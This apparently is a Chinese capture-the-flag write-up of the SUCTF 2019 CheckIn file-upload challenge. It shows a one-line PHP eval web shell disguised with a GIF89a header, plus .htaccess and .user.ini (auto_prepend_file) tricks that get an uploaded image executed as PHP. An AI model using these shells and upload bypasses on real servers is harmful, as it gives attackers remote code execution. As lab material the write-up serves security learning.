[SUCTF 2019]CheckIn
尝试提交
illegal suffix
尝试修改后缀和Content-Type字段,还是不合法
修改后缀为jpg,再次上传

不能有<?,修改文件内容
<script language="php">@eval($_POST['cmd']);</script>

exif_imagetype函数
在头部加个图片幻数
GIF89a
<script language="php">@eval($_POST['cmd']);</script>

访问图片,确实成功了

成功,但是要连接需要把它解释为php文件
上传.htaccess文件
AddHandler application/x-httpd-php .jpg
上面是 Apache 配置语法示意;如果为绕过图片校验而在 .htaccess 中直接加上裸的 GIF89a,Apache 会把它当作未知指令,可能返回500。

这次连接没有成功。除了中间件差异,还应检查 .htaccess 语法、处理器模块和 AllowOverride 配置。
可以改用上传.user.ini文件。这里依赖题目所用的旧版 PHP 与 CGI/FastCGI 环境;<script language="php"> 和 asp_tags 这类旧语法在 PHP 7 中已移除,不能照搬到当前 PHP。
使用条件
上传马的文件夹有php文件
原理:PHP 的 CGI/FastCGI 模式会按配置搜索 .user.ini。访问同目录可执行的 PHP 入口时,auto_prepend_file=2.jpg 使 PHP 在入口脚本之前包含这个文件;直接访问 jpg 本身并不会因此自动执行 PHP。Apache 的扩展名处理器配置还依赖模块和 AllowOverride,不能仅凭 .htaccess 上传失败判断中间件类型。
GIF89a
auto_prepend_file=2.jpg
如果前面的马写的是
GIF89a
<% @eval($_POST['cmd']); %>
则加一行
GIF89a
auto_prepend_file=2.jpg
asp_tags=on

连接

成功,在根目录找到flag
评论将在接近此处时加载,也可点击立即加载。